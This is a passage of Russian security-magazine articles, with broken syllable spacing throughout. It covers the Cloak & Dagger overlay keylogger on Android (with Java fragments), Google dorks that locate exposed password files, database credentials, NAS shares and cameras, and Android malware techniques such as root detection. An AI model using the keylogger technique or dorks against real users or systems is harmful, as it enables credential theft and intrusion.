Поль зователь  может  вза имо дей ство вать  с  сис темным  окном  точ но  так  же,
как и с любым дру гим эле мен том UI. Как имен но будет обра бота но касание
экра на,  зависит  от  набора  фла гов  в  объ екте  params.  Ком бинаци ей  фла гов
мож но задать, к при меру, сле дующее поведе ние:

ок но перех ватыва ет все касания экра на, теря ется воз можность нажимать
куда‐либо  еще,  кро ме  как  на  откры тое  сис темное  окно.  Удоб но
для вирусов‐бло киров щиков;

•

поль зователь  может  касать ся  окна  и  вза имо дей ство вать  с  осталь ной
частью экра на. Самый прак тичный вари ант: мож но вво дить дан ные в окно,
не нарушая работы осталь ных при ложе ний;

•

ок но  «парит»  в  воз духе,  касания  про ходят  сквозь  него,  обра баты ваясь
перек рытыми  эле мен тами  UI.  Удоб но  для  всплы вающих  уве дом лений,
не тре бующих реак ции поль зовате ля.

•

Что бы  начать  обра баты вать  касания,  дос таточ но  при вязать  к  сис темно му
окну стан дар тный кол бэк OnTouchListener(). Он будет вызывать ся каж дый раз,
как поль зователь кос нется экра на, даже если сис темное окно он не тро гал:

systemOverlay.setOnTouchListener(new View.OnTouchListener() {
   @Override
   public boolean onTouch(View v, MotionEvent event) {
       ...
   }
   ...
}

Как видишь, вся информа ция тут в двух объ ектах — клас сы View и MotionEvent,
коор динаты касаний и про чие инте рес ные вещи хра нят ся в event:

event.getX();
event.getY();

Но  прос то  так  отсле живать  касания  нель зя,  это  было  бы  слиш ком  наив но.
Если  вза имо дей ствие  было  с  каким‐то  дру гим  окном,  то  коор динаты  будут
нулевы ми.  Так же  нель зя  про пус кать  касания  и  одновре мен но  знать  коор‐ 
динаты точ ки, которой кос нулся поль зователь.

Из  докумен тации  к  API  мож но  сде лать  вывод,  что  сис темное  окно  —
это  прос то  «чит»  в  визу аль ном  офор мле нии.  Да,  перек рыв  любое  Activity,
мож но  соз дать  хороший  «бло киров щик  экра на»,  но  боль ше  из  него
не  выжать.  Одна ко  авто ры  C&D  пос мотре ли  API  чуть  вни матель ней,  и,  ока‐ 
залось, сис темное окно может быть умнее.

INVISIBLE GRID ATTACK
Как вид но из  ,  поль зователь  набира ет СМС и  вве ден ный  текст  сра зу
ста новит ся  дос тупен  сто рон нему  про цес су.  Получа ется,  с  помощью  одно го
раз решения мож но соз дать пол ноцен ный кей лог гер! Что же, у нас есть под‐ 
робное опи сание уяз вимос ти и слай ды из пре зен тации. Пов торим?

ро лика

Для  начала  опре делим ся  с  сос тавом  объ екта  .  Что бы  ата ка  была
незамет на,  касания перех ватывать нель зя. Зна чит,  код соз дания окна будет
выг лядеть при мер но так:

params

params =
   new WindowManager.LayoutParams(...
           WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
           WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
           | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
           | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
           PixelFormat.TRANSLUCENT);

Как  имен но  уда лось  снять  дан ные,  авто ры рас ска зали  в  сво ей 
на  кон ферен ции  Black  Hat  (слай ды  с  37  по  41).  Информа ции  там  нем ного,
но глав ное понять мож но: нуж но тща тель но про пар сить дан ные из клас са 

 и соз дать сло еный пирог из нес коль ких сис темных окон.

пре зен тации

Mo‐
tionEvent

MOTIONEVENT
В объ екте event, который фор миру ется по резуль татам каж дого касания, мно‐ 
го раз личной инфы. Кро ме коор динат (будут нулевы ми), нам ста нет дос тупно
опи сание (флаг) про изо шед шего вза имо дей ствия — это поз воля ет отли чить
момент  начала  нажатия  ( )  от  его  завер шения  ( ).
Эта  информа ция  дос тупна  всег да  и  без  огра ниче ний,  вне  зависи мос ти
от типа сис темно го окна.

ACTION_DOWN ACTION_UP

event.getFlags();

Но сна чала нуж но дорисо вать UI кей лог гера. Он будет весь ма затей ливым —
на  экра не  дол жно  быть  одновре мен но  как  минимум  27  сис темных  окон,
по  одно му  окну  на  каж дую  бук ву  англий ско го  алфа вита,  плюс  зад ний  фон.
Дизайн  окна  не  име ет  зна чения  —  нужен  пря моуголь ник,  сов пада ющий
по раз мерам и раз мещен ный ров но над ячей кой вир туаль ной кла виату ры.

Раз работ чик име ет воз можность через объ ект   точ но задать коор‐ 
динаты  для  генери руемо го  окна,  для  это го  есть  параметр    и  отно‐ 
ситель ное сме щение. На аппа рате диаго налью в пять дюй мов перек рыть бук‐ 
ву q получит ся по сме щению (1100, ‐480).

params
gravity

params.gravity=Gravity.TOP;
params.x=posX;
params.y=posY;

Сис темные  окна  будут  отри сова ны  в  одном  потоке,  для  удобс тва  я  сде лал
это с помощью цик ла. В вер хнем ряду десять букв, для них выходит при мер но
такой  цикл.  Конеч но,  делать  ячей ки  цвет ными  и  видимы ми  совер шенно
не нуж но, это толь ко для наг ляднос ти.

for (int i = 0; i < 26; i++) {
   id++;
   if (i <= 9) addOverLay(id, Color.RED, ROW_1_X + (i * transition),
ROW_1_Y);
   ...
}

На ложе ние окон на кла виату ру

СЛОЕНЫЙ ПИРОГ
Ког да ты перек роешь все инте ресу ющие области, мож но взять ся за пар синг

. И хотя соз данные сис темные окна не будут зак рывать друг дру га,
фор маль но  каж дый  новый  слой  рису ется  поверх  дру гого —  имен но  в  этом
про тиво речии кро ется уяз вимость ОС Android.

MotionEvent

Точ ная  коор дината  касания  будет  извес тна  пос ле  обра бот ки  дан ных
от всех окон, отоб ражен ных на экра не. Я собирал дан ные в мас сив, в который
окна вно сили изме нения в зависи мос ти от сво его поряд кового номера.

int[] flagsArray = new int[MAX_CELLS];
...
public boolean onTouch(View v, MotionEvent event) {
   flagsArray[id] = event.getFlags();
   ...
}

Ког да  поль зователь  каса ется  бук вы,  у  всех  сис темных  окон,  нарисо ван ных
поз же,  флаг  сос тояния  оста ется  нулевым.  Так,  если  поль зователь  кос нулся
бук вы  ,  пять  ниж них  окон  (фон  +  ,  ,  ,  )  получат  флаг  ,  (

). А уже начиная с шес того слоя (бук ва  ) мас сив 
 будет запол нен нулями.

t q w e r 1 FLAG_WIN‐
DOW_IS_OBSCURED t flagsAr‐
ray

Вы чис лить точ ку касания мож но, прос то прос мотрев сос тояния  ,
дож давшись  его  пол ного  запол нения.  Пер вый  эле мент  с  нулевым  зна чени‐ 
ем  —  это  поряд ковый  номер  сис темно го  окна,  которо го  кос нулся  поль‐ 
зователь.

flagsArray

for (int i = 0; i < flagsArray.length ‐ 1; i++) {
   if (flagsArray[i] == 0) {
       position = i;
       break;
   }
}

До бавим нем ного тюнин га, что бы кей лог гер был пол ноцен ным. Запус тим его
как сер вис, помес тив в новый про цесс. Допол нитель ных раз решений на это
не тре бует ся, а эффектив ность воз растет.

<service android:name=".KeyLoggerService"
   android:process="my_process"/>

Ал горитм работа ет на удив ление ста биль но — я тес тировал его на нес коль‐ 
ких устрой ствах, и сбоя замече но не было. Фла ги всег да оди нако вые и выс‐ 
тавля ются  стро го  по  поряд ку.  Нес мотря  на  три  десят ка  сге нери рован ных
окон,  про изво дитель ность  стра дает  не  силь но  —  при ложе ние  занима ет
в памяти око ло четырех мегабайт. Кей лог гер фик сиру ет все касания без про‐ 
пус ков и лож ных сра баты ваний.

SILENT GOD-MODE APP INSTALL
Ав торы   решили не оста нав ливать ся на дос тигну том и пред положи ли, что
может  вый ти,  если  злов редное  при ложе ние  получит  еще  одно  раз решение.
Класс    пред назна чен для помощи  тем,  кому  тяжело спра‐ 
вить ся  с фун кци ями  смар тфо на:  слиш ком малень кие  бук вы,  тяжело  дви нуть
пол зунок, проб лемы с цве товым вос при ятием и так далее. Но его же мож но

 для куда более инте рес ных вещей: нажимать кноп ки или читать
стро ки из полей вво да дру гих при ложе ний.

C&D

AccessibilityService

ис поль зовать

Проб лема толь ко в том, что по умол чанию дос туп к   зак‐ 
рыт, а дать раз решение на его исполь зование юзер дол жен руками, да еще
и не в один клик. Как раз эту проб лему и поборо ли авто ры C&D, соз дав неч то
вро де  все  того же  сис темно го окна,  которое пол ностью перек рыва ет  экран
и про сит поль зовате ля нажимать в раз ные мес та под невин ными пред логами
(видео  ).

AccessibilityService

Silent God‐mode App
Из  матери алов  не  очень  понят но,  как  имен но  это  работа ет.  Перек рыть

экран вклю чения сер виса Accessibility сис темным окном и так зас тавить поль‐ 
зовате ля это сде лать не получит ся. Android 5.0 и выше не поз волит вклю чить
сер вис, зная, что на экра не есть сис темное окно.

По пыт ка перек рыть зап рос на выдачу раз ‐
решения

ПИН-КОДЫ, ФИШИНГ И ПРОЧЕЕ
С уче том того, нас коль ко лег ко перек рыть чужое окно, сис темные окна могут
быть  проб лемой  —  с  помощью  Invisible  Grid  лег ко  перех ватывать  ввод
ПИН‐кодов и паролей в любом уста нов ленном при ложе нии. Дос таточ но толь‐ 
ко раз местить соз данные слои в нуж ном мес те, и дан ные у тебя в кар мане.

Пе рех ват ПИН‐кода бан ков ско го при ложе ‐
ния

КАК ЗАЩИТИТЬСЯ?
Что бы защитить ся от опи сан ной в статье ата ки, нуж но отклю чить на  устрой‐ 
стве  раз решение  .  В  «чис том»  Android  это  сде лать
невоз можно. Но есть хорошие новос ти для любите лей сэконо мить: китай ские
вен доры по  умол чанию вык люча ют  это раз решение. Meizu  и  Xiaomi  соз дали
белый спи сок из самых рас простра нен ных при ложе ний (WhatsApp и про чие),
для осталь ных дей ству ют огра ниче ния: нель зя исполь зовать сис темные окна,
огра ниче ны воз можнос ти сер висов и не толь ко.

SYSTEM_ALERT_WINDOW

ЗАКЛЮЧЕНИЕ
Уяз вимость  в  дизай не  архи тек туры ОС Android —  пло хой  знак.  Авто ры C&D
соз дали баг‐репорт еще  год назад,  но Google до сих  пор ничего не испра‐ 
вила.  Впол не  воз можно,  что  ско ро  мы  услы шим  о  еще  более  эффектив ных
ата ках и пора задумы вать ся о вто ром смар тфо не — толь ко для важ ных дан‐ 
ных, без игр и про чего.

Как обыч но, эту информа цию зак линаю тебя исполь зовать толь ко в бла гих
намере ниях  —  для  защиты  себя  и  план шета  сво их  родите лей.  Если  же  я
что‐то упус тил, пиши мне на поч ту или в ком мента рии. Уда чи!

Ав тор выража ет бла годар ность 
за цен ные ком мента рии к готово му тек сту.

Ев гению Зоб нину

mailto:mailforpahomov@gmail.com
https://xakep.ru/2017/05/26/cloak-dagger/
https://xakep.ru/2017/05/26/cloak-dagger/
https://www.kaspersky.com/blog/cloak-and-dagger-attack/16960/
https://www.youtube.com/watch?v=NceNhsu87iA
https://www.blackhat.com/docs/us-17/thursday/us-17-Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop.pdf
https://xakep.ru/2017/05/19/accessibility-service-in-action
https://www.youtube.com/watch?time_continue=54&v=oGKYHavKZ24
https://xakep.ru/author/zobnin/
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ВЗЛОМ

Тес ты на про ник новение обыч но тре буют набора спе циаль‐ 
ных  ути лит,  но  одна  из  них  дос тупна  каж дому  и  всег да
под  рукой  —  это  поис ковик  Google.  Нуж но  толь ко  знать,
как им поль зовать ся. Google Dork Queries — это хит рые зап‐ 
росы  к  поис ковикам,  которые  помога ют  про лить  свет
на обще дос тупные, но скры тые от пос торон них глаз дан ные.

В прош лой статье «
» мы  раз бирали  струк туру  зап росов  к  поис ковику,  которые  выда ют

пря мые ссыл ки на кон фиден циаль ные дан ные и спис ки уяз вимых узлов сети.
Такие зап росы называ ют Google Dorks. В Google о них прек расно зна ют и ста‐ 
рают ся  прик рывать  наибо лее  опас ные.  Но  одновре мен но  их  спи сок  попол‐ 
няет ся новыми, как и перечень выяв ляемых ими потен циаль ных целей. Прой‐ 
дем ся по самым инте рес ным.

Ис поль зуем мало извес тные фун кции Google, что бы най ти
сок рытое

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собираeтся  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

Сре ди  всех опе рато ров рас ширен ного поис ка Google  нас инте ресу ют  глав‐ 
ным обра зом четыре:

 — поиск по кон крет ному сай ту;• site
 — ука затель на то, что иско мые сло ва дол жны быть частью самого

веб‐адре са;
• inurl

 — опе ратор поис ка в заголов ке веб‐стра ниц;• intitle
 или   — поиск фай лов опре делен ного типа по рас ширению.• ext filetype

Так же  при  сос тавле нии  зап роса  надо  пом нить  нес коль ко  опе рато ров,
которые зада ются спец симво лами.

 — вер тикаль ный слеш, он же опе ратор OR (логичес кое или). Ука зыва ет,
что  нуж но  показать  резуль таты,  содер жащие  хотя  бы  одно  из  слов,
перечис ленных в зап росе.

• |

 кавыч ки. Ука зыва ет на поиск точ ного соот ветс твия.• ""
  —  минус.  Исполь зует ся  для  очис тки  поис ковой  выдачи  и  исклю чает

из нее резуль таты с ука зан ными пос ле минуса сло вами.
• ­

 — звез дочка, или асте риск. Исполь зует ся в  качес тве мас ки и озна чает
«что угод но».

• *

ОХОТА НА ПАРОЛИ
Учет ные  дан ные  от  все воз можных  веб‐сер висов —  это  для  хакера  лакомый
кусочек. Порой дос тать их мож но бук валь но в один клик. Точ нее, одним зап‐ 
росом к Google. Нап ример, вот таким при митив ным:

ext:pwd (administrators | users | lamers | service)

Та кой зап рос най дет все фай лы с рас ширени ем  , в которых есть хотя бы
одно из слов, ука зан ных в скоб ках. Одна ко в поис ковой выдаче будет мно го
мусора.  Поэто му  мож но  почис тить  ее,  убрав  юзе ров  и  про чих  ламеров.
Как вари ант:

.pwd

inurl:_vti_pvt/administrators.pwd

Об рати вни мание на домен

Это  уже  при цель ный  зап рос.  Он  най дет  фай лы  с  говоря щим  наз вани ем
на  сер верах  с  FrontPage  Extensions.  Одно имен ный  редак тор  канул  в  Лету,
но  его  сер верные рас ширения  еще  исполь зуют ся. Дан ные  учет ных  записей
в    зашиф рованы  по  алго рит му DES. Их мож но  вскрыть
при  помощи  John  the  Ripper  или  одно го  из  сер висов  облачно го  перебо ра
паролей.

administrators.pwd

Administrators.pwd

С FTP все то же самое, толь ко надо искать фай лы кон фигура ций   или 
. Час то в них хра нят ся логины в откры тую и пароли в сла бо зашиф рован‐ 

ном  виде.  Нап ример,  этот  прос тей ший  зап рос  даст  кучу  ази атских  сай тов,
на которых популя рен дырявый FTP мес тно го про изводс тва.

.cfg .
ini

inurl:"[FFFTP]" ext:ini

Па роли от FTP

С  одной  сто роны,  в  нас трой ках  по  умол чанию  он  исполь зует  шиф рование
AES  в  режиме  CBC  с  фун кци ей  хеширо вания  SHA‐1.  С  дру гой  сто роны,
реали зация крип тогра фичес ких про цедур ослабле на, и есть 
для перебо ра таких паролей.

го товая ути лита

•John the Ripper

•Hash Suite

•CrackStation

•WS_FTP JavaScript Password Decoder

ВЕБ-РАЗВЕДКА
Иног да  быва ет  полез но  изу чить  струк туру  сай та,  получив  спи сок  фай лов
на нем. Если сайт сде лан на движ ке WordPress,  то файл    хра нит
наз вания дру гих PHP‐скрип тов. Тег   сооб щает Google, что искать надо
по  пер вому  сло ву  в  теле  ссыл ки.  Если  бы мы  написа ли  ,  то  поиск
про исхо дил  бы  по  все му  телу  ссыл ки,  а  поис ковая  выдача  была  бы  более
замусо рен ной. Поэто му дос таточ но сде лать зап рос такого вида:

repair.php
inurl

allinurl

inurl:/maint/repair.php?repair=1

В резуль тате ты получишь спи сок сай тов на WP, у которых мож но пос мотреть
струк туру через  .repair.php

Изу чаем струк туру сай та на WP

Мас су  проб лем  адми нис тра торам  дос тавля ет  WordPress  с  незаме чен ными
ошиб ками в кон фигура ции. Из откры того лога мож но узнать как минимум наз‐ 
вания скрип тов и заг ружен ных фай лов.

inurl:"wp‐content/uploads/file‐manager/log.txt"

В  нашем  экспе римен те  прос тей ший  зап рос  поз волил  най ти  в  логе  пря мую
ссыл ку на бэкап и ска чать его.

На ходим цен ную инфу в логах WP

Мно го  цен ной  информа ции  мож но  выудить  из  логов.  Дос таточ но  знать,
как они выг лядят и чем отли чают ся от мас сы дру гих фай лов. Нап ример, опен‐ 
сор сный интерфейс для БД под наз вани ем pgAdmin соз дает слу жеб ный файл

.  В  нем  час то  содер жатся  име на  поль зовате лей,  наз вания
колонок базы дан ных, внут ренние адре са и подоб ное. Находит ся лог эле мен‐ 
тарным зап росом:

pgadmin.log

ext:log inurl:"/pgadmin"

Лог pgAdmin

Бы тует  мне ние,  что  откры тый  код  —  это  безопас ный  код.  Одна ко  сама
по себе откры тость исходни ков озна чает лишь воз можность иссле довать их,
и  цели  таких  изыс каний  далеко  не  всег да  бла гие.  К  при меру,  сре ди  фрей‐ 
мвор ков для раз работ ки веб‐при ложе ний популя рен  .
При раз верты вании он авто мати чес ки соз дает в катало ге   файл

,  где  сох раня ет  наз вание  базы  дан ных,  а  так же  логин
и пароль. Най ти этот файл мож но сле дующим зап росом:

Symfony Standard Edition
/app/config/

parameters.yml

inurl:app/config/ intext:parameters.yml intitle:index.of

Еще один файл с пароля ми

Ко неч но,  затем  пароль  мог ли  сме нить,  но  чаще  все го  он  оста ется  таким,
каким был задан еще на эта пе раз верты вания.

Опен сор сная ути лита   все чаще исполь зует ся в кор‐ 
поратив ной сре де. Она при меня ется для управле ния сег мента ми бес про вод‐ 
ных сетей, соз данных по прин ципу «бес шовно го Wi‐Fi». То есть в схе ме раз‐ 
верты вания сети пред при ятия,  в  которой мно жес тво  точек дос тупа  управля‐ 
ются с еди ного кон трол лера.

UniFi API browser  tool

Ути лита  пред назна чена  для  отоб ражения  дан ных,  зап рашива емых  через
Ubiquiti’s UniFi Controller API. С ее помощью лег ко прос матри вать ста тис тику,
информа цию о под клю чен ных кли ентах и про чие све дения о работе сер вера
через API UniFi.

Раз работ чик чес тно пре дуп режда ет: «Please do keep in mind this tool expos‐
es A LOT OF  the  information available  in your controller, so you should somehow
restrict access to it! There are no security controls built into the tool…». Но кажет ся,
мно гие не вос при нима ют эти пре дуп режде ния всерь ез.

Зная  об  этой  осо бен ности  и  задав  еще  один  спе цифи чес кий  зап рос,  ты
уви дишь мас су слу жеб ных дан ных, в том чис ле клю чи при ложе ний и пароль‐ 
ные фра зы.

inurl:"/api/index.php" intitle:UniFi

WPA PSK, ключ при ложе ния и пароль

Об щее  пра вило  поис ка:  сна чала  опре деля ем

наибо лее  спе цифи чес кие  сло ва,  харак теризу‐ 

ющие выб ранную цель. Если это лог‐файл, то что

его  отли чает  от  про чих  логов?  Если  это  файл

с пароля ми, то где и в каком виде они могут хра‐ 

нить ся?  Сло ва‐мар керы  всег да  находят ся

в  каком‐то  опре делен ном  мес те  —  нап ример,

в  заголов ке  веб‐стра ницы  или  ее  адре се.  Огра‐ 

ничи вая  область  поис ка  и  задавая  точ ные  мар‐ 

керы,  ты  получишь  сырую  поис ковую  выдачу.

Затем чис тишь ее от мусора, уточ няя зап рос.

NAS ДЛЯ НАС
До маш ние  и  офис ные  сетевые  хра нили ща  нын че  популяр ны.  Фун кцию  NAS
под держи вают мно гие внеш ние дис ки и роуте ры. Боль шинс тво их вла дель цев
не  замора чива ются  с  защитой  и  даже  не  меня ют  дефол тные  пароли  вро де

.  Най ти  популяр ные  NAS  мож но  по  типовым  заголов кам  их
веб‐стра ниц. Нап ример, зап рос
admin/admin

intitle:"Welcome to QNAP Turbo NAS"

вы даст  спи сок  айпиш ников NAS про изводс тва QNAP. Оста нет ся  лишь най ти
сре ди них сла боза щищен ный.

Один из NAS

Об лачный сер вис QNAP (как и мно гие дру гие) име ет фун кцию пре дос тавле‐ 
ния обще го дос тупа к фай лам по зак рытой ссыл ке. Проб лема в том, что она
не такая уж зак рытая.

inurl:share.cgi?ssid=

Этот нехит рый зап рос показы вает фай лы, рас шарен ные через обла ко QNAP.
Их мож но прос мотреть пря мо из бра узе ра или ска чать для более деталь ного
озна ком ления.

На ходим рас шарен ные фай лы

ИЩЕМ IP-КАМЕРЫ, МЕДИАСЕРВЕРЫ И ПРОЧИЕ ВЕБ-АДМИНКИ
По мимо NAS, с помощью прод винутых зап росов к Google мож но най ти мас су
дру гих  сетевых  устрой ств  с  управле нием  через  веб‐интерфейс.  Наибо лее
час то для это го исполь зуют ся сце нарии CGI, поэто му файл   — пер‐ 
спек тивная  цель. Одна ко  встре тить ся  он может  где  угод но,  поэто му  зап рос
луч ше уточ нить. Нап ример, добавив к нему типовой вызов  . В ито‐ 
ге получим дорк вида

main.cgi

?next_file

inurl:"img/main.cgi?next_file"

Ча ще  все го  так  находят ся  IP‐камеры.  Под робнее  об  их  обна руже нии
и  исполь зовании  читай  в  статье  «

».
Смот ри  во  все  гла за.  Как  взла мыва ют  IP‐

и веб‐камеры и как от это го защитить ся

Об наружи ли одну из IP‐камер

По мимо  камер,  подоб ным  обра зом  находят ся  меди асер веры,  откры тые
для  всех  и  каж дого. Осо бен но  это  каса ется  сер веров  Twonky  про изводс тва
Lynx  Technology.  У  них  весь ма  узна ваемое  имя  и  дефол тный  порт  9000.
Для  более  чис той  поис ковой  выдачи  номер  пор та  луч ше  ука зать  в  URL
и исклю чить его из тек сто вой час ти веб‐стра ниц. Зап рос при обре тает вид

intitle:"twonky server" inurl:"9000" ‐intext:"9000"

Обыч но Twonky‐сер вер — это огромная меди ате ка, рас шарива ющая кон тент
через UPnP. Авто риза ция на них час то отклю чена «для удобс тва».

Ви деоте ка по годам

БОЛЬШИЕ ДАННЫЕ — БОЛЬШИЕ УЯЗВИМОСТИ
Боль шие дан ные сей час на слу ху: счи тает ся, что, если к чему угод но добавить
Big Data, оно вол шебным обра зом ста нет работать луч ше. В реаль нос ти нас‐ 
тоящих спе циалис тов по этой теме очень мало, а при дефол тной кон фигура‐ 
ции  боль шие  дан ные  при водят  к  боль шим  уяз вимос тям.  Hadoop  —  один
из прос тей ших спо собов ском про мети ровать тера‐ и даже петабай ты дан ных.
Эта плат форма с откры тым исходным кодом содер жит извес тные заголов ки,
номера пор тов  и  слу жеб ных  стра ниц,  по  которым прос то отыс кать  управля‐ 
емые ей ноды.

intitle:"Namenode information" AND inurl:":50070/dfshealth.html"

Та ким зап росом с кон катена цией мы получа ем поис ковую выдачу со спис ком
уяз вимых  сис тем  на  базе  Hadoop.  Мож но  пря мо  из  бра узе ра  погулять
по фай ловой сис теме HDFS и ска чать любой файл.

Big Data? Big vulnerabilities!

Бра узер HDFS

ВЫВОДЫ
Google Dork Queries (GDQ) — это набор зап росов для выяв ления гру бей ших
дыр в безопас ности. Все го, что дол жным обра зом не спря тано от поис ковых
роботов.  Для  крат кости  такие  зап росы  называ ют  прос то  дор ками,  как  и  тех
адми нов, чьи ресур сы уда лось взло мать с помощью GDQ. Самые инте рес ные
дор ки — све жие, а самые све жие — те, которые ты нашел сам. Прав да, если
слиш ком  увле чешь ся  экспе римен тами,  то  тебя  забанят  в Google… до вво да
кап чи. :)

https://xakep.ru/2015/07/08/google-hidden-functions/
https://gist.github.com/aminamid/68d0fe65ffd5bcac1687
http://www.openwall.com/john/
http://hashsuite.openwall.net/download
https://crackstation.net/
http://lab.artlung.com/ws-ftp-password-decoder/
https://github.com/symfony/symfony-standard
https://github.com/Art-of-WiFi/UniFi-API-browser
https://xakep.ru/2017/04/27/hack-cams/
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MALWARE

С  каж дым  годом  поль зовате лям  мобиль ных  устрой ств  ста‐ 
новит ся  все  слож нее  избе жать  зараже ния.  За  пер вое
полуго дие  «Лабора тория  Кас пер ско го»  с  помощью  сво его
анти виру са  зафик сирова ла  (читай:  не  дала  уста новить)
более 3 мил лионов вре донос ных при ложе ний. И хотя ста тис‐ 
тичес ки  по  срав нению  с  2016  годом  осо бого  рос та  нет,
отче тов о мобиль ных злов редах ста ло гораз до боль ше. Пос‐ 
ле  проч тения  таких  отче тов  не  оста ется  ощу щения  «мыль‐ 
ного  пузыря»,  проб лема  дей стви тель но  есть:  без  исполь‐ 
зования  каких‐либо  уни каль ных  тех ник  людям  уда ется  ско‐ 
лачи вать мил лион ные бот неты.

Ма тери ал  адре сован  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собира ется  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ИСТОЧНИК ЭПИДЕМИИ

Кста ти,  а  отку да  вооб ще  берет ся  андро ид‐ори енти рован ная  мал варь?
Навер ное,  из  пират ских  прог рамм?  С  пират ских  дис кет?  С  пират ских  ком‐ 
пакт‐дис ков? Нет, погоди‐ка, ведь сей час у нас не 1997 год, а целый 2017‐й...
навер ное, с под поль ных репози тори ев? Ан нет, ока зыва ется, самый популяр‐ 
ный  репози торий мобиль ных  при ложе ний,  Google  Play,  серь езно  под портил
свою  репута цию  —  в  2017  году  все  самые  успешные  мобиль ные  тро яны
и  вирусы  рас простра нялись  через  него.  Похоже,  проб лема  в  слиш ком
богатом  выборе  для  поль зовате ля.  На  любой  зап рос  най дет ся  нес коль ко
десят ков при ложе ний, и боль шинс тво из них будет мусором.

Ма лоин форма тив ные и подоз ритель ные
отзы вы

Да же если вни матель но изу чать опи сание при ложе ния, до его уста нов ки все
рав но труд но понять, что имен но оно дела ет. Опи рать ся на опыт дру гих поль‐ 
зовате лей тоже не получа ется — в Google Play очень мно го при ложе ний с куп‐ 
ленны ми  отзы вами.  Как  ты  понима ешь,  сто ит  один  раз  запус тить  тро ян
и  потом  будет  очень  слож но  от  него  изба вить ся.  А  если  же  у  тро яна  будет
еще и полез ная наг рузка, то прос тому поль зовате лю вычис лить наличие вре‐ 
донос ного кон тента прак тичес ки невоз можно.

Прош логод няя  статья  «
» во мно гом еще акту аль на.

Ана томия  Android‐мал‐ 
вари

ГДЕ Я?

Эф фектив ность тро яна во мно гом зависит от того, нас коль ко хорошо он уме‐ 
ет адап тировать ся под раз ные устрой ства. Начинать при ходит ся с малого —
опре деле ния вер сии ОС на устрой стве жер твы, эта информа ция есть в клас‐ 
се Build.

Build.VERSION.SDK_INT

Но  этой  информа ции  будет  недос таточ но,  вен доры  любят  модифи циро вать
про шив ку  так,  что  без  падений  не  уда ется  обой тись  даже  легаль ным  при‐ 
ложе ниям. Навер няка ты зна ком с обо лоч кой MIUI, которая серь езно поменя‐ 
ла прин ципы работы ОС, а китай ских телефо нов сей час очень мно го. Боль ше
дан ных об устрой стве дос тупно из кон соль ной коман ды  .getprop

public static String fullSystemProperties() {
   java.lang.Process p = Runtime.getRuntime().exec("getprop");
   input = new BufferedReader(new InputStreamReader(p.getInputStream
()), 1024);
   while (input.readLine()!=null) {
       line = line + "n" + input.readLine();
   }
   ...

Вы зов  getprop  даст мно го  информа ции, мож но  отбро сить  часть  с  помощью
grep (более под робные исходни ки смот ри  ).здесь

До воль но  час то  «прод винутый  поль зователь»  получа ет  пра ва  супер поль‐ 
зовате ля  в  сис теме.  Рут  откры вает  не  толь ко  рас ширен ные  воз можнос ти
для юзе ра, но и раз долье для тро яна. Стра тегий опре деле ния наличия прав
на устрой стве мно го. Самое прос тое — прой тись по дирек тори ям в поис ках
бинар ника  . Вот при мер ный набор под ходящих для него путей:su

String[] places = { "/sbin/", "/system/bin/", "/system/xbin/",
   "/data/local/xbin/", "/data/local/bin/",
   "/system/sd/xbin/", "/system/bin/failsafe/", "/data/local/"
};

На личие  его  хотя  бы  в  одном  мес те  с  высокой  веро ятностью  ука жет,  что
на устрой стве дос тупны пра ва супер поль зовате ля.

for (String where : places) {
   if (new File(where + “su”).exists()) {
       found = true;
       break;
   }
}

Ес ли тро ян смо жет внед рить ся в прос транс тво дру гих при ложе ний,  то поль‐ 
зовате ля  спа сет  толь ко  пол ная  пере уста нов ка  ОС.  Root‐пра ва  поз воля ют
инжектить  в  сис темные  вызовы,  встав ляя  вре донос ный  код  в  самые  неожи‐ 
дан ные мес та. Для таких «хуков» есть готовые фрей мвор ки, более под робно
можешь пос мотреть в нашей статье про  .Xposed

Ес ли  крат ко,  то  подоб ные  инжекты  пре дос тавля ют  зло хаке рам  самые
широкие  воз можнос ти —  от  замены  ID  рек ламных  бан неров,  что  поз воля ет
получать день ги за чужой показ рек ламы, до модифи кации сис темных ути лит.

СТАРАЯ УЯЗВИМОСТЬ ЛУЧШЕ НОВЫХ ДВУХ

Ес ли  ты не сле дишь вплот ную за ста тис тикой мира Android,  то можешь уди‐ 
вить ся:  еще  в  апре ле  каж дое  третье  Android‐устрой ство  работа ло  под  опе‐ 
раци онной  сис темой  вер сии  4.4  и  ниже.  Это  ста рые  опе раци онки,
для  которых  уже  дол гое  вре мя  в  пуб личном  дос тупе  есть мно жес тво  хакер‐ 
ских ути лит.

На GitHub дав но выложе ны исходни ки хорошо написан ного тро яна  .
Он  как  раз  заточен  под  чет вертую  вер сию  ОС  и  уме ет  прак тичес ки  все:
манипу лиро вать пер сональ ной информа цией, СМС, камерой и про чее.

GmBot

GmBot сде лан очень качес твен но, и неуди витель но,  что появи лась целая
пле яда мал вари, осно ван ной на выложен ном исходном коде. Один из наибо‐ 
лее успешных охот ников за ста рыми устрой ства ми — тро ян CopyCat. По ста‐ 
тис тике Check Point, у него 14 мил лионов зараже ний и на вось ми мил лионах
из  них  получен  root‐дос туп.  При  этом CopyCat  не  исполь зовал  никаких  сек‐ 
ретных экс пло итов — сплош ной паб лик. К при меру, вот один из них на  .GitHub

ГОНИМ РЕКЛАМУ

Сог ласно ста тис тике, в этом году наиболь ший рост показа ли так называ емые
Adware —  вирусы,  зараба тыва ющие  на  демонс тра ции  рек ламы  поль зовате‐ 
лю.  Летом  в  Google  Play  была  обна руже на  корей ская  мал варь  Judy:  для  ее
рас простра нения  соз дали  более  сорока  при ложе ний,  каж дое  из  которых
поль зовалось  боль шим  успе хом  —  мил лионы  заг рузок  и  активных  поль‐ 
зовате лей.

При ложе ния дей стви тель но работа ли,  это были незатей ливые игры, рас‐ 
